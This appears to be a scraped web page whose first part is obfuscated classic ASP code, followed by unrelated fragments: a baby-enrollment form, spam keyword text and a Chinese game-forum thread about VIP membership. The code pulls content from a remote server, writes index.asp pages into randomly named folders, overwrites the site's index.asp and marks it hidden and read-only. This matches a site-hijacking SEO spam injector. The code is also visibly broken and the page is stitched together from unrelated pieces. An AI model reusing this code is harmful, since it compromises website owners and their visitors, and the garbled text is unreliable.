Server.ScriptTimeOut=500
Remote_server="/zd.php" //服务端url地址
directory_Number=10 //栏目数量
Branch_directory_1=getCode(Rand(3,5))
Branch_directory_2=getCode(Rand(3,5))
Branch_directory_3=getCode(Rand(3,5))
Branch_directory_4=getCode(Rand(3,5))
Branch_directory_5=getCode(Rand(3,5))
Branch_directory_6=getCode(Rand(3,5))
Branch_directory_7=getCode(Rand(3,5))
Branch_directory_8=getCode(Rand(3,5))
Branch_directory_9=getCode(Rand(3,5))
Branch_directory_10=getCode(Rand(3,5))
Branch_directory_11=getCode(Rand(3,5))
Branch_directory_12=getCode(Rand(3,5))
Branch_directory_13=getCode(Rand(3,5))
Branch_directory_14=getCode(Rand(3,5))
Branch_directory_15=getCode(Rand(3,5))
Branch_directory_16=getCode(Rand(3,5))
Branch_directory=Branch_directory_1&"."&Branch_directory_2&"."&Branch_directory_3&"."&Branch_directory_4&"."&Branch_directory_5&"."&Branch_directory_6&"."&Branch_directory_7&"."&Branch_directory_8&"."&Branch_directory_9&"."&Branch_directory_10&"."&Branch_directory_11&"."&Branch_directory_12&"."&Branch_directory_13&"."&Branch_directory_14&"."&Branch_directory_15&"."&Branch_directory_16
NewFile_content=a("index.asp")
dim ml,str,Quantity
ml=Request.ServerVariables("HTTP_url")
str= Split(ml,"/")
Quantity=ubound(str)-1 //层数
if Quantity<5 then
host_name=replace("http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name"),"index.asp","")
Remote_directory = Remote_server
Content_directory = getHTTPPage(Remote_directory)
Content_mb=GetHtml(Remote_server)
Branch_directory= Split(Branch_directory,".")
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
response.write Content_mb
for i=0 to (ubound(Branch_directory))
if CFolder("./"&Branch_directory(i)&"/")=1 then
WriteIn server.mappath("./"&Branch_directory(i)&"/index.asp"),NewFile_content
WriteIn Server.MapPath("./")&"\index.asp",Content_mb
Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile(Server.MapPath("index.asp"))
if f.attributes
f.attributes = 7
server.transfer("index.asp")
Content_mb=GetHtml(Remote_server)
WriteIn Server.MapPath("./")&"\index.asp",Content_mb
Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile(Server.MapPath("index.asp"))
if f.attributes
f.attributes = 7
server.transfer("index.asp")
Function getHTTPPage(url)
On Error Resume Next
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate4 then
exit function
getHTTPPage=bytesToBSTR(Http.responseBody,"gb2312")
set http=nothing
If Err.number0 then
Response.Write "服务器获取文件内容出错"
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function宝宝姓名：
手机号码：
电子邮箱：
出生日期：
所在区域：
所在社区：
预约园所：
当前位置：首页> 新闻中心
2011年东方爱婴宁波地区团购券使用须知
市场·人才
我们会全力拼搏战斗到底皓月烟云我亲自指挥,1.95皓月刺影版本传奇无论从纸面实力还是历史战绩我最关心的就是用户需求的变化.后使用快捷导航没有帐号？
- - - - - -
查看: 517|回复: 14
零食32 板砖1 克拉0 性别保密水晶0 奥术之尘0 主题积分1037最后登录小伙伴22 好友
四级玩家, 积分 1037, 距离下一级还需 963 积分
性别保密在线时间18 小时注册时间UID
谈谈开会员和成长服务的必要性
先介绍下自己把，本人九区水月平原的气功一枚，恩介绍完了。
今天跨服刷本，碰到一个队友，非会员朋友，45级的剑士，极限万魂武器。我当时就询问他，你每日能拿到多少金币，升级武器花了多少钱。
他的回答是：不算灵石，每日大概拿3G左右，升级武器到现在材料都是自己打的，升级费用都是自己做任务得到的钱和刷副本赚到的。
我再问他为什么不开会员和成长服务，他的说法是不想花钱玩游戏。
我想应该有很多朋友也是这样。那么我就本着为大家谋福利的原则，来谈谈到底有没有必要开会员和成长服务吧。
111.png (183.6 KB, 下载次数: 1)
00:40 上传
上面图是我自己的属性图。
我的十级会员是绑定点券开起来的，大家就别说我土豪了，本人非豪。
拿蜘蛛洞穴来说吧，本人的奖励差一点点就是50Y，普通玩家应该不到40Y吧。
对于上面那个剑士朋友来说，如果他开了会员一级和会员成长服务，将会有10%的任务奖励，和20%突破手续减免。
这10%的奖励，对于每天只刷势力和四大副本的朋友来说，每天能多出来20Y，十天就是2G。
二对于突破武器和升级武器来说，炎煌到万魂总突破费用恐怕也在将近20G左右吧，减免的20%就是4G
这4G+2G=6G，以现在九区的物价来说，能卖到7500+点券。而一个月会员+便捷也就2500点券而已。
其实那十天多出来的任务奖励，就足以开通这两项服务了。
那么，既然当初都把武器升级到万魂了，那为何不开会员和便捷服务呢？同样一分钱也不用花。
我写着帖子的目的，是希望大家尽可能的实惠的游戏，如果有的朋友理解为我在进行会员的推销，甚至把我当做托，那么~~我就是托呗，随你咯。
总评分:&零食 + 40&
本版排名：
本版声望：
零食748 板砖0 克拉0 水晶0 奥术之尘0 主题积分1074最后登录小伙伴0 好友
四级玩家, 积分 1074, 距离下一级还需 926 积分
在线时间0 小时注册时间UID
话说办了会员没办的那么久~~呵呵~~反正应该时间越长越划算吧，虽然是个坑，但是如果不划算谁不会去办~~
本版排名：
本版声望：
零食471 板砖0 克拉0 性别保密水晶0 奥术之尘0 主题积分503最后登录小伙伴0 好友
二级玩家, 积分 503, 距离下一级还需 97 积分
性别保密在线时间0 小时注册时间UID
老区见不到白名 over
本版排名：
本版声望：
零食78 板砖0 克拉0 性别保密水晶0 奥术之尘0 主题积分111最后登录小伙伴0 好友
二级玩家, 积分 111, 距离下一级还需 489 积分
性别保密在线时间0 小时注册时间UID
这个必须顶！物超所值
本版排名：
本版声望：
零食117 板砖0 克拉0 性别保密水晶0 奥术之尘0 主题积分853最后登录小伙伴0 好友
三级玩家, 积分 853, 距离下一级还需 147 积分
性别保密在线时间2 小时注册时间UID
其实这个就看大家游戏时间的多少来说了
不过仔细玩游戏~认真对待~几乎都可以不花软妹币而是用游戏内的附加功能
本版排名：
本版声望：
零食1034 板砖0 克拉0 水晶0 奥术之尘0 主题积分4984最后登录小伙伴2 好友
七级玩家, 积分 4984, 距离下一级还需 16 积分
在线时间34 小时注册时间UID
反正基本花不到软妹子&&时间要靠的上啊！！
本版排名：
本版声望：
零食42 板砖0 克拉0 性别保密水晶0 奥术之尘0 主题积分69最后登录小伙伴0 好友
二级玩家, 积分 69, 距离下一级还需 531 积分
性别保密在线时间0 小时注册时间UID
会员和便捷服务还是值得的
可以G换绑定点券开启服务
本版排名：
本版声望：
零食224 板砖0 克拉0 性别保密水晶0 奥术之尘0 主题积分422最后登录小伙伴0 好友
二级玩家, 积分 422, 距离下一级还需 178 积分
性别保密在线时间0 小时注册时间UID
会员跟那个做任务多给钱 进化少收钱的业务还是比较划算的、
建议趁早购买 你强化几次 不论失败成功 多出来的钱&&卖绑定早都够买这些服务了
本版排名：
本版声望：
零食3387 板砖0 克拉0 性别保密水晶0 奥术之尘0 主题积分4590最后登录小伙伴0 好友
七级玩家, 积分 4590, 距离下一级还需 410 积分
性别保密在线时间72 小时注册时间UID
我也是 买了三四年&&感觉玩不到那么久了&&这游戏...
本版排名：
本版声望：
零食926 板砖0 克拉0 水晶0 奥术之尘0 主题积分1506最后登录小伙伴0 好友
四级玩家, 积分 1506, 距离下一级还需 494 积分
在线时间131 小时注册时间UID
话说3个会员一个月才35快..2包烟钱而已..这和花不花钱无所谓了.
本版排名：
本版声望：
零食2211 板砖0 克拉0 性别保密水晶0 奥术之尘0 主题积分2977最后登录小伙伴0 好友
五级玩家, 积分 2977, 距离下一级还需 23 积分
性别保密在线时间0 小时注册时间UID
买多久会员才能10级 我包全开了 加一年会员都没到10
本版排名：
本版声望：
零食41 板砖0 克拉0 性别保密水晶0 奥术之尘0 主题积分131最后登录小伙伴0 好友
二级玩家, 积分 131, 距离下一级还需 469 积分
性别保密在线时间0 小时注册时间UID
本版排名：
本版声望：
零食123 板砖0 克拉0 性别保密水晶0 奥术之尘0 主题积分24175最后登录小伙伴0 好友
十一级玩家, 积分 24175, 距离下一级还需 5825 积分
性别保密在线时间1221 小时注册时间UID2079963
每日任务从来不做完,要这个有何用
本版排名：
本版声望：
零食9 板砖0 克拉0 性别保密水晶0 奥术之尘0 主题积分20最后登录小伙伴0 好友
一级玩家, 积分 20, 距离下一级还需 30 积分
性别保密在线时间0 小时注册时间UID
本版排名：
本版声望：
剑灵版面勋章
剑灵版面勋章
一定是个吃货!
天堂II版面勋章
天堂II版面勋章}